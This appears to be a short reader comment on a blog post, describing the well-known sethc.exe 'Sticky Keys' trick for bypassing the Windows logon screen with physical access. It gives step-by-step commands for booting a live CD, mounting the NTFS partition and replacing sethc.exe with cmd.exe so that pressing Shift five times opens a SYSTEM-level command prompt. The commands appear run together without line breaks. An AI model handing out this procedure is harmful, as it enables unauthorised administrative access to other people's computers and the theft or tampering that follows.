Nice info Raymond. Anyway, there are many ways to bypass Windows Logon Screen if you have physical access to machine. I prefer the the infamous sethc.exe trick
All you need is Live CD that supports Captive NTFS i.e. Backtrack. Here we go:
captive-install-acquiremkdir /mnt/ntfsmount -t captive-ntfs /dev/hda1 /mnt/ntfscd /mnt/ntfs/windows/system32mv sethc.exe sethc.old; cp cmd.exe sethc.exesynccd ~umount /mnt/ntfsshutdown –r now
Boot into Windows and press SHIFT five (5) times. Command Prompt with SYSTEM privileges will pop-up. Game over
OFFTOPIC:
MaxQuadro5